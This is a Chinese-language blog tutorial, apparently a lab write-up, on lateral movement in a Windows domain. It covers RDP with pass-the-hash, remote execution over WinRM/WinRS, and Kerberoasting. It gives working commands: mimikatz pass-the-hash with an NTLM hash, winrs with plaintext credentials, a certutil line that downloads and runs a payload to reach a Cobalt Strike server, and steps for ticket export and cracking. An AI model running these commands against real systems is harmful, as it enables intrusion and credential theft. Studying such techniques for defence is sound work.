当前位置: 首页 > news >正文

第131天:内网安全-横向移动Kerberos 攻击SPN扫描WinRMWinRSRDP

案例一:域横向移动-RDP-明文&NTLM

RDP利用的三种方式

1.直接在当前被控主机上进行远程连接

2.建立节点进行连接

3.端口转发,(访问当前主机的2222端口等于访问目标的3389)

第一种方式(动静太大)

直接利用被控主机进行远程连接

点击这个图标可以控制

 输入win+r输入mstsc,输入想访问的ip

 但是好像需要域管理员设置策略以后才允许普通用户之间连接

 用管理员用户去登录域控主机

第二种方式

设置socks代理

通过代理利用rdesktop命令远程连接目标主机

登录管理员用户

在主机中查看会发现,有两个用户登录了这台主机

也可以利用hash进行登录,但是环境配置以及利用比较复杂,不做复现,可以用下面这篇文章学习

内网技巧-RDP劫持及利用hash登录 - 先知社区

privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.20.1 /ntlm:579da618cfbfa85247acf1f800a280a4 "/run:mstsc.exe /restrictedadmin"

 案例二:域横向移动-WinRM&WinRS-明文&NTLM

WinRM

  • 功能:WinRM是一种用于远程管理和配置Windows系统的协议和服务。它提供了基于SOAP(Simple Object Access Protocol)协议的远程管理功能

 WinRS

  • 功能:WinRS是一种轻量级的命令行远程管理工具,允许在远程计算机上执行命令行命令,类似于在本地计算机上使用命令提示符。

利用条件

      双方都启用的 Winrm rs 的服务

      在Windows Server 2012及之后的版本中,WinRM服务默认是开启的。但在Windows Server 2008 R2及之前的版本,以及Windows 7等桌面操作系统中,可能需要手动开启WinRM服务。

 winrm的默认端口时http为5985端口https为5986端口,扫描5985

发现只能扫描到win2012

 攻击主机的开启方式,这里对外开放的那张网卡不能设置为公用

启动命令必须为高权限的system所以需要提权

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

再次查看端口已经开放

创建服务以后利用工具winrs进行连接

winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com whoami

这个命令貌似只能在cmd窗口当中去执行,在cs中执行会显示句柄无效

cs中

我想了个办法让他在cs当中也能够运行,把前面的语句输出通过管道符给cmd,让cmd去执行就ok

shell echo winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com whoami | cmd

cmd中

上线cs,和之前一样访问web服务器下载木马并运行,记得设置代理转发。

winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com "cmd.exe /c certutil -urlcache -split -f http://192.168.3.20/2.exe c:/2.exe & c:/2.exe"

cs当中内置了winrm横向移动

案例三:域横向移动-Spn&Kerberos-请求&破解&重写

该案例适用不知道加密密码和hash,且加密方式为rc4的

spn,服务主体名称,spn扫描不仅仅扫描的是端口,而且连同服务名称一起扫描,只能扫描windows自带的一些服务

加密类型必须为rc4,组策略中设置kerberos的加密类型

spn扫描

setspn -T qq.com -q */*  #扫描全部服务
setspn -T qq.com -q */* | findstr "MSSQL"  #扫描指定服务

 请求服务

powershell请求
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"mimakatz请求
mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433

我采用mimikatz请求服务,请求之前先清除所有票据

完事查看票据,如果刚才请求服务的那条票据是rc4加密的证明是可以利用的

导出票据

mimikatz kerberos::list /export

 然后下载到本地,利用票据破解程序破解密码

GitCode - 全球开发者的开源社区,开源代码托管平台

python3 tgsrepcrack.py pass.txt "0-40e00000-webserver$@krbtgt~GOD.ORG-GOD.ORG.kirbi"

这里能不能破解出密码,取决与密码字典是否包含

这里我是变了一套环境,因为之前自己搭的环境无法复现,不过大致思路都一样

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【Python学习-UI界面】PyQt5 小部件1-Label
  • 一款专为IntelliJ IDEA用户设计的插件,极大简化Spring项目中的API调试过程,功能强大(附源码)
  • Unity Dots学习 (一)
  • 多媒体技术及应用课程思政网站
  • 为何用新版本的Supra软件,FPGA引脚输出不正常
  • 深入探索 MyBatis
  • 【车载开发系列】常见单片机烧录与调试设备
  • RTT学习
  • Python密码生成器
  • [C#]OpenCvSharp 实现Bitmap和Mat的格式相互转换
  • 分享一个基于微信小程序的宠物服务中心的设计与实现(源码、调试、LW、开题、PPT)
  • python——元组解包
  • 机器学习第五十二周周报 Distribution Shift of GNN
  • tomcat 运行javaweb项 提示无法将资源添加到Web应用程序缓存解决方法
  • 传输大咖29|镭速如何实现文件高效传输?
  • 【Leetcode】104. 二叉树的最大深度
  • 【跃迁之路】【585天】程序员高效学习方法论探索系列(实验阶段342-2018.09.13)...
  • 【跃迁之路】【733天】程序员高效学习方法论探索系列(实验阶段490-2019.2.23)...
  • Android 初级面试者拾遗(前台界面篇)之 Activity 和 Fragment
  • android图片蒙层
  • css系列之关于字体的事
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • mysql_config not found
  • Netty 4.1 源代码学习:线程模型
  • Node项目之评分系统(二)- 数据库设计
  • Redash本地开发环境搭建
  • Sass Day-01
  • SpringCloud集成分布式事务LCN (一)
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 面试遇到的一些题
  • No resource identifier found for attribute,RxJava之zip操作符
  • C# - 为值类型重定义相等性
  • # 服务治理中间件详解:Spring Cloud与Dubbo
  • #QT(TCP网络编程-服务端)
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • %@ page import=%的用法
  • (C语言)fgets与fputs函数详解
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (二)换源+apt-get基础配置+搜狗拼音
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (一)Dubbo快速入门、介绍、使用
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • *2 echo、printf、mkdir命令的应用
  • .chm格式文件如何阅读
  • .NET CORE Aws S3 使用
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET IoC 容器(三)Autofac
  • .net 托管代码与非托管代码
  • .考试倒计时43天!来提分啦!
  • /proc/interrupts 和 /proc/stat 查看中断的情况
  • @NotNull、@NotEmpty 和 @NotBlank 区别
  • [ 云计算 | AWS 实践 ] Java 如何重命名 Amazon S3 中的文件和文件夹
  • [2019红帽杯]Snake
  • [AIGC] 如何建立和优化你的工作流?
  • [ASP.NET MVC]Ajax与CustomErrors的尴尬